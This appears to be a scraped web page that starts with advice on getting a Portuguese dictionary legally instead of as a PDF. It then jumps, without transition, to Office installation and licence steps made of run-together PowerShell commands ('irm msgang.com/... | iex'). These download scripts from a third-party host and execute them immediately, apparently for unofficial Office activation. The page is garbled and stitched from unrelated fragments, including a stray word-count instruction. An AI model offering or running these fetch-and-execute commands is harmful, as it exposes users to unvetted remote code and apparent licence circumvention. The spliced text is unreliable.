For the most complete and "long" versions, academic and library platforms are the most reliable legal sources: Internet Archive
If you need digital access without carrying a heavy book, consider these legitimate alternatives that offer the same (or better) functionality:
250-300 words
The search for an "Oxford Portuguese Dictionary PDF" is a wild goose chase that usually ends in malware or disappointment. The static nature of PDFs is fundamentally incompatible with the dynamic needs of a language learner.
1️⃣ Navigating to installation location of Office, auto detect Office 32 or 64-bit.
irm msgang.com/ospp | iex2️⃣ Checking the license status:
irm msgang.com/dstatus | iexirm office.msgang.com | iexirm office.msgang.comremkeys | iexirm install.msgang.com | iexirm msgang.com/download | iexirm msgang.com/download | iexirm msgang.com/uninstaller | iexirm office.msgang.comr2v | iex